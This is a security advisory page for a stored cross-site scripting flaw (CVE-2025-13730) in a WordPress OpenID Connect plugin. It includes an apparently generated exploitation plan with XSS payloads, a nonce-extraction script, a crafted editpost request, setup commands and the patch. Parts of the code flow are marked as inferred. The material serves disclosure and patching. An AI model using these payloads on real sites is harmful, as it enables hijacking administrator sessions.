OpenID Connect Generic Client <= 3.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'openid_connect_generic_auth_url' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.10.0Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2025-13730 (OpenID Connect Generic Client) ## 1. Vulnerability Summary The **OpenID Connect Generic Client** plugin (<= 3.10.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `openid_connect_generic_auth_url` shortcode. The plugin fails to sanitize…
Show full research plan
Vulnerability Research Plan: CVE-2025-13730 (OpenID Connect Generic Client)
1. Vulnerability Summary
The OpenID Connect Generic Client plugin (<= 3.10.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the openid_connect_generic_auth_url shortcode. The plugin fails to sanitize and escape the label attribute and the shortcode $content before echoing them into the page. This allows an authenticated attacker with Contributor-level privileges to inject malicious scripts into a post, which will execute in the browser of any user (including administrators) who views or previews the post.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[openid_connect_generic_auth_url] - Vulnerable Parameters:
label(attribute) and the shortcode inner content. - Endpoint:
wp-admin/post.php(via the post editor). - Authentication: Contributor-level or higher.
- Impact: Privilege escalation to Administrator via session cookie theft or unauthorized administrative actions (e.g., creating a new admin user) when an administrator views the malicious post.
3. Code Flow (Inferred)
- Shortcode Registration: The plugin registers the shortcode in
includes/openid-connect-generic-client.phpusing:add_shortcode( 'openid_connect_generic_auth_url', array( $this, 'shortcode_auth_url' ) ); - Callback Execution: When a post is rendered,
shortcode_auth_url( $atts, $content = '' )is called. - Missing Sanitization: The function extracts attributes using
shortcode_atts()which does not provide sanitization. - Vulnerable Logic:
if ( empty( $content ) ) { $content = $atts['label']; } // The following line is the sink (inferred from common vuln patterns in this plugin) return sprintf( '<a href="%s">%s</a>', $url, $content ); - Output Sink: The returned string containing unescaped
$contentis printed to the page body by WordPress'sthe_contentfilter.
4. Nonce Acquisition Strategy
To inject the shortcode via the WordPress post editor as a Contributor, a valid nonce for the editpost action is required.
- Access Editor: Navigate to
wp-admin/post-new.phpto initiate a new post. WordPress will generate anauto-draft. - Extract Identifiers:
- Use
browser_evalto extract the_wpnoncefrom the#_wpnoncehidden input field or thewp.autosavesettings. - Extract the
post_IDfrom the URL or the#post_IDhidden input.
- Use
- Example JavaScript for extraction:
// Get nonce for updating the post const nonce = document.querySelector('#_wpnonce').value; // Get the post ID const postId = document.querySelector('#post_ID').value; return { nonce, postId };
5. Exploitation Strategy
- Log in to the WordPress site as a Contributor.
- Navigate to
wp-admin/post-new.phpusingbrowser_navigate. - Extract the
_wpnonceandpost_IDusingbrowser_eval. - Inject Payload by sending an HTTP POST request to
wp-admin/post.php.- Payload 1 (Attribute):
[openid_connect_generic_auth_url label='<img src=x onerror=alert("XSS_LABEL")>'] - Payload 2 (Inner Content):
[openid_connect_generic_auth_url]<script>alert("XSS_CONTENT")</script>[/openid_connect_generic_auth_url]
- Payload 1 (Attribute):
- HTTP Request Details:
- URL:
http://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
_wpnonce=[NONCE]&action=editpost&post_ID=[POST_ID]&post_title=VulnerablePost&content=[openid_connect_generic_auth_url label='<img src=x onerror=alert("XSS_LABEL")>']&post_status=draft
- URL:
- Trigger Execution: Navigate to the preview URL (e.g.,
/?p=[POST_ID]&preview=true) or have an administrator view the post in the editor.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Activation: Ensure
daggerhart-openid-connect-genericversion 3.10.0 or lower is installed and active. - Configuration: The plugin does not need to be fully configured with a real OIDC provider for the shortcode to render and trigger the XSS.
7. Expected Results
- The HTTP response for the
editpostaction should be a302 redirectback to the editor, indicating the post was saved. - When navigating to the post preview, the browser should render an
<a>tag similar to:<a href="..."> <img src=x onerror=alert("XSS_LABEL")> </a> - An alert box with the string "XSS_LABEL" should appear in the browser.
8. Verification Steps
- Database Check: Verify the payload is stored in the database.
wp db query "SELECT post_content FROM wp_posts WHERE ID = [POST_ID]" - Output Verification: Use
http_requestto fetch the post preview and check for the unescaped HTML:grep -q '<img src=x onerror=alert("XSS_LABEL")>' response_body.html
9. Alternative Approaches
- Attribute Breakout: If the plugin wraps the label in an attribute rather than the link text (unlikely for this specific shortcode but possible for others), try breaking out:
label='"><script>alert(1)</script>'. - Other Shortcodes: Check if other shortcodes like
[openid_connect_generic_login_button]share the same vulnerable rendering logic. - REST API Injection: If the REST API is enabled for contributors, try updating the post content via
POST /wp-json/wp/v2/posts/[ID]using thewp_restnonce.
Summary
The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'openid_connect_generic_auth_url' shortcode in versions up to and including 3.10.0. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into posts that execute when viewed by other users, including administrators.
Vulnerable Code
// includes/openid-connect-generic-client.php public function shortcode_auth_url( $atts, $content = '' ) { // ... extraction logic using shortcode_atts() if ( empty( $content ) ) { $content = $atts['label']; } // The following line returns unescaped content to the output sink return sprintf( '<a href="%s">%s</a>', $url, $content ); }
Security Fix
@@ -1,5 +1,5 @@ if ( empty( $content ) ) { $content = $atts['label']; } -return sprintf( '<a href="%s">%s</a>', $url, $content ); +return sprintf( '<a href="%s">%s</a>', esc_url( $url ), wp_kses_post( $content ) );
Exploit Outline
To exploit this vulnerability, an attacker with at least Contributor-level authentication follows these steps: 1. Access the WordPress post editor (wp-admin/post-new.php). 2. Craft a shortcode payload using the 'openid_connect_generic_auth_url' tag, placing a malicious script in either the 'label' attribute (e.g., [openid_connect_generic_auth_url label='<img src=x onerror=alert(1)>']) or as the shortcode's inner content. 3. Submit a POST request to wp-admin/post.php with the 'content' field containing the malicious shortcode and a valid '_wpnonce'. 4. When an administrator or other user views the post or post preview, the unsanitized 'label' or 'content' is rendered directly inside an anchor tag, triggering the execution of the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.